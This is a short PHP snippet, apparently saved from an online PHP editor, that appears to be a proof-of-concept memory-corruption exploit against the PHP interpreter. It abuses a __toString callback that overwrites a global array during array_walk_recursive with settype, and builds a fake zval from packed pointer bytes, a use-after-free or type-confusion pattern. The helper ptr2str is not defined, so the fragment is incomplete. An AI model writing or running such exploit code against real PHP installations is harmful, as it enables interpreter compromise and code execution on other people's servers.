Online PHP editor | refs for ONlnn

<?php class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');